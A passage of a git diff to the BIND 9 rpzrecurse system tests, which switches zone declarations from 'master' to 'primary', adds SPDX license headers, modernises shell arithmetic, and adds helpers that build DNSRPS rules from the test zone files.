-    zone "max30" { type master; file "db.max30.local"; };
-    zone "max31" { type master; file "db.max31.local"; };
-    zone "max32" { type master; file "db.max32.local"; };
-    zone "max33" { type master; file "db.max33.local"; };
-    zone "max34" { type master; file "db.max34.local"; };
-    zone "max35" { type master; file "db.max35.local"; };
-    zone "max36" { type master; file "db.max36.local"; };
-    zone "max37" { type master; file "db.max37.local"; };
-    zone "max38" { type master; file "db.max38.local"; };
-    zone "max39" { type master; file "db.max39.local"; };
-    zone "max40" { type master; file "db.max40.local"; };
-    zone "max41" { type master; file "db.max41.local"; };
-    zone "max42" { type master; file "db.max42.local"; };
-    zone "max43" { type master; file "db.max43.local"; };
-    zone "max44" { type master; file "db.max44.local"; };
-    zone "max45" { type master; file "db.max45.local"; };
-    zone "max46" { type master; file "db.max46.local"; };
-    zone "max47" { type master; file "db.max47.local"; };
-    zone "max48" { type master; file "db.max48.local"; };
-    zone "max49" { type master; file "db.max49.local"; };
-    zone "max50" { type master; file "db.max50.local"; };
-    zone "max51" { type master; file "db.max51.local"; };
-    zone "max52" { type master; file "db.max52.local"; };
-    zone "max53" { type master; file "db.max53.local"; };
-    zone "max54" { type master; file "db.max54.local"; };
-    zone "max55" { type master; file "db.max55.local"; };
-    zone "max56" { type master; file "db.max56.local"; };
-    zone "max57" { type master; file "db.max57.local"; };
-    zone "max58" { type master; file "db.max58.local"; };
-    zone "max59" { type master; file "db.max59.local"; };
-    zone "max60" { type master; file "db.max60.local"; };
-    zone "max61" { type master; file "db.max61.local"; };
-    zone "max62" { type master; file "db.max62.local"; };
-    zone "max63" { type master; file "db.max63.local"; };
-    zone "max64" { type master; file "db.max64.local"; };
+    zone "max1" { type primary; file "db.max1.local"; };
+    zone "max2" { type primary; file "db.max2.local"; };
+    zone "max3" { type primary; file "db.max3.local"; };
+    zone "max4" { type primary; file "db.max4.local"; };
+    zone "max5" { type primary; file "db.max5.local"; };
+    zone "max6" { type primary; file "db.max6.local"; };
+    zone "max7" { type primary; file "db.max7.local"; };
+    zone "max8" { type primary; file "db.max8.local"; };
+    zone "max9" { type primary; file "db.max9.local"; };
+    zone "max10" { type primary; file "db.max10.local"; };
+    zone "max11" { type primary; file "db.max11.local"; };
+    zone "max12" { type primary; file "db.max12.local"; };
+    zone "max13" { type primary; file "db.max13.local"; };
+    zone "max14" { type primary; file "db.max14.local"; };
+    zone "max15" { type primary; file "db.max15.local"; };
+    zone "max16" { type primary; file "db.max16.local"; };
+    zone "max17" { type primary; file "db.max17.local"; };
+    zone "max18" { type primary; file "db.max18.local"; };
+    zone "max19" { type primary; file "db.max19.local"; };
+    zone "max20" { type primary; file "db.max20.local"; };
+    zone "max21" { type primary; file "db.max21.local"; };
+    zone "max22" { type primary; file "db.max22.local"; };
+    zone "max23" { type primary; file "db.max23.local"; };
+    zone "max24" { type primary; file "db.max24.local"; };
+    zone "max25" { type primary; file "db.max25.local"; };
+    zone "max26" { type primary; file "db.max26.local"; };
+    zone "max27" { type primary; file "db.max27.local"; };
+    zone "max28" { type primary; file "db.max28.local"; };
+    zone "max29" { type primary; file "db.max29.local"; };
+    zone "max30" { type primary; file "db.max30.local"; };
+    zone "max31" { type primary; file "db.max31.local"; };
+    zone "max32" { type primary; file "db.max32.local"; };
+    zone "max33" { type primary; file "db.max33.local"; };
+    zone "max34" { type primary; file "db.max34.local"; };
+    zone "max35" { type primary; file "db.max35.local"; };
+    zone "max36" { type primary; file "db.max36.local"; };
+    zone "max37" { type primary; file "db.max37.local"; };
+    zone "max38" { type primary; file "db.max38.local"; };
+    zone "max39" { type primary; file "db.max39.local"; };
+    zone "max40" { type primary; file "db.max40.local"; };
+    zone "max41" { type primary; file "db.max41.local"; };
+    zone "max42" { type primary; file "db.max42.local"; };
+    zone "max43" { type primary; file "db.max43.local"; };
+    zone "max44" { type primary; file "db.max44.local"; };
+    zone "max45" { type primary; file "db.max45.local"; };
+    zone "max46" { type primary; file "db.max46.local"; };
+    zone "max47" { type primary; file "db.max47.local"; };
+    zone "max48" { type primary; file "db.max48.local"; };
+    zone "max49" { type primary; file "db.max49.local"; };
+    zone "max50" { type primary; file "db.max50.local"; };
+    zone "max51" { type primary; file "db.max51.local"; };
+    zone "max52" { type primary; file "db.max52.local"; };
+    zone "max53" { type primary; file "db.max53.local"; };
+    zone "max54" { type primary; file "db.max54.local"; };
+    zone "max55" { type primary; file "db.max55.local"; };
+    zone "max56" { type primary; file "db.max56.local"; };
+    zone "max57" { type primary; file "db.max57.local"; };
+    zone "max58" { type primary; file "db.max58.local"; };
+    zone "max59" { type primary; file "db.max59.local"; };
+    zone "max60" { type primary; file "db.max60.local"; };
+    zone "max61" { type primary; file "db.max61.local"; };
+    zone "max62" { type primary; file "db.max62.local"; };
+    zone "max63" { type primary; file "db.max63.local"; };
+    zone "max64" { type primary; file "db.max64.local"; };
 
     recursion yes;
     dnssec-validation yes;
diff --git a/bin/tests/system/rpzrecurse/ns2/named.wildcard1.conf b/bin/tests/system/rpzrecurse/ns2/named.wildcard1.conf
index 963e3b0e8a..23ef4eb7ec 100644
--- a/bin/tests/system/rpzrecurse/ns2/named.wildcard1.conf
+++ b/bin/tests/system/rpzrecurse/ns2/named.wildcard1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ view "recursive" {
 	nsip-enable yes;
 
     # policy zones to be tested
-    zone "wildcard1" { type master; file "db.wildcard1"; };
+    zone "wildcard1" { type primary; file "db.wildcard1"; };
 
     recursion yes;
     dnssec-validation yes;
diff --git a/bin/tests/system/rpzrecurse/ns2/named.wildcard2.conf b/bin/tests/system/rpzrecurse/ns2/named.wildcard2.conf
index f758b3a012..b570b47929 100644
--- a/bin/tests/system/rpzrecurse/ns2/named.wildcard2.conf
+++ b/bin/tests/system/rpzrecurse/ns2/named.wildcard2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -27,8 +29,8 @@ view "recursive" {
 	nsip-enable yes;
 
     # policy zones to be tested
-    zone "wildcard2a" { type master; file "db.wildcard2a"; };
-    zone "wildcard2b" { type master; file "db.wildcard2b"; };
+    zone "wildcard2a" { type primary; file "db.wildcard2a"; };
+    zone "wildcard2b" { type primary; file "db.wildcard2b"; };
 
     recursion yes;
     dnssec-validation yes;
diff --git a/bin/tests/system/rpzrecurse/ns2/named.wildcard3.conf b/bin/tests/system/rpzrecurse/ns2/named.wildcard3.conf
index bb8555cd04..befb7d2f8a 100644
--- a/bin/tests/system/rpzrecurse/ns2/named.wildcard3.conf
+++ b/bin/tests/system/rpzrecurse/ns2/named.wildcard3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ view "recursive" {
 	nsip-enable yes;
 
     # policy zones to be tested
-    zone "wildcard3" { type master; file "db.wildcard3"; };
+    zone "wildcard3" { type primary; file "db.wildcard3"; };
 
     recursion yes;
     dnssec-validation yes;
diff --git a/bin/tests/system/rpzrecurse/ns2/named.wildcard4.conf b/bin/tests/system/rpzrecurse/ns2/named.wildcard4.conf
index 266d074d70..e18f4962eb 100644
--- a/bin/tests/system/rpzrecurse/ns2/named.wildcard4.conf
+++ b/bin/tests/system/rpzrecurse/ns2/named.wildcard4.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -22,8 +24,8 @@ view "recursive" {
 	nsip-enable yes;
 
 	# policy zones to be tested
-	zone "passthru.zone" { type master; file "db.passthru"; };
-	zone "given.zone" { type master; file "db.given"; };
+	zone "passthru.zone" { type primary; file "db.passthru"; };
+	zone "given.zone" { type primary; file "db.given"; };
 
 	zone "." {
 		type hint;
diff --git a/bin/tests/system/rpzrecurse/ns2/root.hint b/bin/tests/system/rpzrecurse/ns2/root.hint
index f627479ba3..ced47f3ade 100644
--- a/bin/tests/system/rpzrecurse/ns2/root.hint
+++ b/bin/tests/system/rpzrecurse/ns2/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns3/example.db b/bin/tests/system/rpzrecurse/ns3/example.db
index 3fb4a243ca..201a174d9f 100644
--- a/bin/tests/system/rpzrecurse/ns3/example.db
+++ b/bin/tests/system/rpzrecurse/ns3/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns3/named1.conf.in b/bin/tests/system/rpzrecurse/ns3/named1.conf.in
index 957d911c8f..f838535f8f 100644
--- a/bin/tests/system/rpzrecurse/ns3/named1.conf.in
+++ b/bin/tests/system/rpzrecurse/ns3/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -34,8 +36,8 @@ options {
 	include "../dnsrps.conf";
 };
 
-zone "policy" { type master; file "policy.db"; };
+zone "policy" { type primary; file "policy.db"; };
 
-zone "example.tld" { type master; file "example.db"; };
+zone "example.tld" { type primary; file "example.db"; };
 
-zone "." { type master; file "root.db"; };
+zone "." { type primary; file "root.db"; };
diff --git a/bin/tests/system/rpzrecurse/ns3/named2.conf.in b/bin/tests/system/rpzrecurse/ns3/named2.conf.in
index 961d2d2fb2..40f6b49459 100644
--- a/bin/tests/system/rpzrecurse/ns3/named2.conf.in
+++ b/bin/tests/system/rpzrecurse/ns3/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -33,8 +35,8 @@ options {
 	include "../dnsrps.conf";
 };
 
-zone "policy" { type master; file "policy.db"; };
+zone "policy" { type primary; file "policy.db"; };
 
-zone "example.tld" { type master; file "example.db"; };
+zone "example.tld" { type primary; file "example.db"; };
 
-zone "." { type master; file "root.db"; };
+zone "." { type primary; file "root.db"; };
diff --git a/bin/tests/system/rpzrecurse/ns3/named3.conf.in b/bin/tests/system/rpzrecurse/ns3/named3.conf.in
index 73470fafbd..3926bf9125 100644
--- a/bin/tests/system/rpzrecurse/ns3/named3.conf.in
+++ b/bin/tests/system/rpzrecurse/ns3/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -31,8 +33,8 @@ options {
 	include "../dnsrps.conf";
 };
 
-zone "policy" { type master; file "policy.db"; };
+zone "policy" { type primary; file "policy.db"; };
 
-zone "example.tld" { type master; file "example.db"; };
+zone "example.tld" { type primary; file "example.db"; };
 
-zone "." { type master; file "root.db"; };
+zone "." { type primary; file "root.db"; };
diff --git a/bin/tests/system/rpzrecurse/ns3/policy.db b/bin/tests/system/rpzrecurse/ns3/policy.db
index c2437d2835..526d75ccb9 100644
--- a/bin/tests/system/rpzrecurse/ns3/policy.db
+++ b/bin/tests/system/rpzrecurse/ns3/policy.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns3/root.db b/bin/tests/system/rpzrecurse/ns3/root.db
index b12a184395..665953d25e 100644
--- a/bin/tests/system/rpzrecurse/ns3/root.db
+++ b/bin/tests/system/rpzrecurse/ns3/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns4/child.example.db b/bin/tests/system/rpzrecurse/ns4/child.example.db
index 66cd956e15..47a90fb6f7 100644
--- a/bin/tests/system/rpzrecurse/ns4/child.example.db
+++ b/bin/tests/system/rpzrecurse/ns4/child.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns4/named.conf.in b/bin/tests/system/rpzrecurse/ns4/named.conf.in
index 47b4fd55ec..b8d87b9328 100644
--- a/bin/tests/system/rpzrecurse/ns4/named.conf.in
+++ b/bin/tests/system/rpzrecurse/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,11 +28,11 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
 	inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
-zone "child.example.tld" { type master; file "child.example.db"; };
+zone "child.example.tld" { type primary; file "child.example.db"; };
diff --git a/bin/tests/system/rpzrecurse/setup.sh b/bin/tests/system/rpzrecurse/setup.sh
index 3a3dfa7f7f..87a34fa768 100644
--- a/bin/tests/system/rpzrecurse/setup.sh
+++ b/bin/tests/system/rpzrecurse/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -25,7 +27,7 @@ while getopts "DNx" c; do
 	*) echo "$USAGE" 1>&2; exit 1;;
     esac
 done
-shift `expr $OPTIND - 1 || true`
+shift $((OPTIND - 1))
 if test "$#" -ne 0; then
     echo "$USAGE" 1>&2
     exit 1
@@ -44,6 +46,11 @@ copy_setports ns3/named1.conf.in ns3/named.conf
 
 copy_setports ns4/named.conf.in ns4/named.conf
 
+# decide whether to test DNSRPS
+$SHELL ../ckdnsrps.sh $TEST_DNSRPS $DEBUG
+test -z "$(grep 'dnsrps-enable yes' dnsrps.conf)" && TEST_DNSRPS=
+touch dnsrps.cache
+
 # setup policy zones for a 64-zone test
 i=1
 while test $i -le 64
@@ -57,29 +64,7 @@ do
     while test $j -le $i
     do
 	echo "name$j A 10.53.0.$i" >> ns2/db.max$i.local
-	j=`expr $j + 1`
+	j=$((j + 1))
     done
-    i=`expr $i + 1`
+    i=$((i + 1))
 done
-
-# decide whether to test DNSRPS
-$SHELL ../ckdnsrps.sh $TEST_DNSRPS $DEBUG
-test -z "`grep 'dnsrps-enable yes' dnsrps.conf`" && TEST_DNSRPS=
-
-CWD=`pwd`
-cat <<EOF >dnsrpzd.conf
-PID-FILE $CWD/dnsrpzd.pid;
-
-include $CWD/dnsrpzd-license-cur.conf
-
-zone "policy" { type master; file "`pwd`/ns3/policy.db"; };
-EOF
-sed -n -e 's/^ *//' -e "/zone.*.*master/s@file \"@&$CWD/ns2/@p" ns2/*.conf \
-    >>dnsrpzd.conf
-
-# Run dnsrpzd to get the license and prime the static policy zones
-if test -n "$TEST_DNSRPS"; then
-    DNSRPZD="`../rpz/dnsrps -p`"
-    "$DNSRPZD" -D./dnsrpzd.rpzf -S./dnsrpzd.sock -C./dnsrpzd.conf \
-		-w 0 -dddd -L stdout >./dnsrpzd.run 2>&1
-fi
diff --git a/bin/tests/system/rpzrecurse/testgen.pl b/bin/tests/system/rpzrecurse/testgen.pl
index 4637e282fd..4131bd9976 100755
--- a/bin/tests/system/rpzrecurse/testgen.pl
+++ b/bin/tests/system/rpzrecurse/testgen.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/env perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -119,7 +121,7 @@ sub mkconf {
 
         print $conf_fh $policy_option;
 
-        print $conf_fh map { qq{    zone "$_->[0]" { type master; file "db.$_->[0]"; };\n} } @zones;
+        print $conf_fh map { qq{    zone "$_->[0]" { type primary; file "db.$_->[0]"; };\n} } @zones;
 
         print $conf_fh $boilerplate_end;
     }
diff --git a/bin/tests/system/rpzrecurse/tests.sh b/bin/tests/system/rpzrecurse/tests.sh
index c877ebf3d6..d7120a31cd 100644
--- a/bin/tests/system/rpzrecurse/tests.sh
+++ b/bin/tests/system/rpzrecurse/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 # touch dnsrps-off to not test with DNSRPS
 # touch dnsrps-only to not test with classic RPZ
 
@@ -18,6 +22,7 @@ status=0
 
 t=0
 
+export DNSRPS_TEST_UPDATE_FILE=$(pwd)/dnsrps.cache
 DEBUG=
 ARGS=
 
@@ -29,7 +34,7 @@ while getopts "xS:" c; do
 	*) echo "$USAGE" 1>&2; exit 1;;
     esac
 done
-shift `expr $OPTIND - 1 || true`
+shift $((OPTIND - 1))
 if test "$#" -ne 0; then
     echo "$USAGE" 1>&2
     exit 1
@@ -44,22 +49,39 @@ RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
 run_server() {
     TESTNAME=$1
 
+    start_server_rules $1 $2
     echo_i "stopping resolver"
-    $PERL ../stop.pl --use-rndc --port ${CONTROLPORT} rpzrecurse ns2
+    stop_server --use-rndc --port ${CONTROLPORT} ns2
 
     sleep 1
 
     echo_i "starting resolver using named.$TESTNAME.conf"
     cp -f ns2/named.$TESTNAME.conf ns2/named.conf
-    start_server --noclean --restart --port ${PORT} rpzrecurse ns2
+    start_server --noclean --restart --port ${PORT} ns2
     sleep 3
 }
 
+start_server_rules() {
+    FCONF=ns2/named.$1.conf
+
+    cat /dev/null > $DNSRPS_TEST_UPDATE_FILE
+    cat $FCONF | grep 'zone ' | grep ' primary' | while read LINE; do
+        ZONE=$(echo $LINE | sed 's/.*zone "//g' | awk -F '"' '{print $1}');
+        DBFILE=$(echo $LINE | sed 's/.*file "//g' | awk -F '"' '{print $1}');
+        cat ns2/$DBFILE | grep -E -v '^;' | grep -E '\<(A|CNAME)\>' | awk -v zone=$ZONE '{ if (NF == 4) {print "static add "$1"."zone" "$2" "$3" "$4} else if (NF == 3) {print "static add "$1"."zone" 300 "$2" "$3}}' >> $DNSRPS_TEST_UPDATE_FILE
+    done
+}
+
+produce_librpz_rules() {
+    ZONEFILE=$1/$3.db
+    cat $ZONEFILE | grep -E -v '^;' | grep -E '\<(A|CNAME)\>' | awk -v zone=$2 '{ if (NF == 4) {print "static add "$1"."zone" "$2" "$3" "$4} else if (NF == 3) {print "static add "$1"."zone" 300 "$2" "$3}}' >> $DNSRPS_TEST_UPDATE_FILE
+}
+
 run_query() {
     TESTNAME=$1
     LINE=$2
 
-    NAME=`sed -n -e "$LINE,"'$p' ns2/$TESTNAME.queries | head -n 1`
+    NAME=$(sed -n -e "$LINE,"'$p' ns2/$TESTNAME.queries | head -n 1)
     $DIG $DIGOPTS $NAME a @10.53.0.2 -p ${PORT} -b 127.0.0.1 > dig.out.${t}
     grep "status: SERVFAIL" dig.out.${t} > /dev/null 2>&1 && return 1
     return 0
@@ -71,8 +93,8 @@ expect_norecurse() {
     TESTNAME=$1
     LINE=$2
 
-    NAME=`sed -n -e "$LINE,"'$p' ns2/$TESTNAME.queries | head -n 1`
-    t=`expr $t + 1`
+    NAME=$(sed -n -e "$LINE,"'$p' ns2/$TESTNAME.queries | head -n 1)
+    t=$((t+1))
     echo_i "testing $NAME doesn't recurse (${t})"
     add_test_marker 10.53.0.2
     run_query $TESTNAME $LINE || {
@@ -87,14 +109,15 @@ expect_recurse() {
     TESTNAME=$1
     LINE=$2
 
-    NAME=`sed -n -e "$LINE,"'$p' ns2/$TESTNAME.queries | head -n 1`
-    t=`expr $t + 1`
+    NAME=$(sed -n -e "$LINE,"'$p' ns2/$TESTNAME.queries | head -n 1)
+    t=$((t+1))
     echo_i "testing $NAME recurses (${t})"
     add_test_marker 10.53.0.2
     run_query $TESTNAME $LINE && {
 	echo_i "test ${t} failed"
 	status=1
     }
+    return 0
 }
 
 add_test_marker() {
@@ -104,6 +127,8 @@ add_test_marker() {
     done
 }
 
+native=0
+dnsrps=0
 for mode in native dnsrps; do
   status=0
   case $mode in
@@ -121,7 +146,7 @@ for mode in native dnsrps; do
       continue
     fi
     echo_i "attempting to configure servers with DNSRPS..."
-    $PERL ../stop.pl --use-rndc --port ${CONTROLPORT} rpzrecurse
+    stop_server --use-rndc --port ${CONTROLPORT}
     $SHELL ./setup.sh -N -D $DEBUG
     sed -n 's/^## //p' dnsrps.conf | cat_i
     if grep '^#fail' dnsrps.conf >/dev/null; then
@@ -133,7 +158,7 @@ for mode in native dnsrps; do
       continue
     else
       echo_i "running DNSRPS sub-test"
-      start_server --noclean --restart --port ${PORT} rpzrecurse
+      start_server --noclean --restart --port ${PORT}
       sleep 3
     fi
     ;;
@@ -142,7 +167,7 @@ for mode in native dnsrps; do
   # show whether and why DNSRPS is enabled or disabled
   sed -n 's/^## //p' dnsrps.conf | cat_i
 
-  t=`expr $t + 1`
+  t=$((t+1))
   echo_i "testing that l1.l0 exists without RPZ (${t})"
   add_test_marker 10.53.0.2
   $DIG $DIGOPTS l1.l0 ns @10.53.0.2 -p ${PORT} > dig.out.${t}
@@ -151,7 +176,7 @@ for mode in native dnsrps; do
     status=1
   }
 
-  t=`expr $t + 1`
+  t=$((t+1))
   echo_i "testing that l2.l1.l0 returns SERVFAIL without RPZ (${t})"
   add_test_marker 10.53.0.2
   $DIG $DIGOPTS l2.l1.l0 ns @10.53.0.2 -p ${PORT} > dig.out.${t}
@@ -209,17 +234,16 @@ for mode in native dnsrps; do
   for n in $testlist; do
     run_server 4$n
     ni=$1
-    t=`expr $t + 1`
+    t=$((t+1))
     echo_i "testing that ${ni} of 33 queries skip recursion (${t})"
     add_test_marker 10.53.0.2
     c=0
     for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \
 	     17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
     do
-      run_query 4$n $i
-      c=`expr $c + $?`
+      run_query 4$n $i || c=$((c + 1))
     done
-    skipped=`expr 33 - $c`
+    skipped=$((33-c))
     if [ $skipped != $ni ]; then
       echo_i "test $t failed (actual=$skipped, expected=$ni)"
       status=1
@@ -236,115 +260,92 @@ for mode in native dnsrps; do
   expect_recurse 5a 5
   expect_recurse 5a 6
 
-  if [ ! "$CYGWIN" -o -n "$PSSUSPEND" ]
-  then
-    # Group 6
-    echo_i "check recursive behavior consistency during policy update races"
-    run_server 6a
-    sleep 1
-    t=`expr $t + 1`
-    echo_i "running dig to cache CNAME record (${t})"
-    add_test_marker 10.53.0.1 10.53.0.2
-    $DIG $DIGOPTS @10.53.0.2 -p ${PORT} www.test.example.org CNAME > dig.out.${t}
-    sleep 1
-    echo_i "suspending authority server"
-    PID=`cat ns1/named.pid`
-    if [ "$CYGWIN" ]
-    then
-      $PSSUSPEND $PID
-    else
-      $KILL -STOP $PID
-    fi
-    echo_i "adding an NSDNAME policy"
-    cp ns2/db.6a.00.policy.local ns2/saved.policy.local
-    cp ns2/db.6b.00.policy.local ns2/db.6a.00.policy.local
-    $RNDC -c ../common/rndc.conf -s 10.53.0.2 -p ${CONTROLPORT} reload 6a.00.policy.local 2>&1 | sed 's/^/ns2 /' | cat_i
-    test -f dnsrpzd.pid && $KILL -USR1 `cat dnsrpzd.pid`
-    sleep 1
-    t=`expr $t + 1`
-    echo_i "running dig to follow CNAME (blocks, so runs in the background) (${t})"
-    add_test_marker 10.53.0.2
-    $DIG $DIGOPTS @10.53.0.2 -p ${PORT} www.test.example.org A +time=5 > dig.out.${t} &
-    sleep 1
-    echo_i "removing the NSDNAME policy"
-    cp ns2/db.6c.00.policy.local ns2/db.6a.00.policy.local
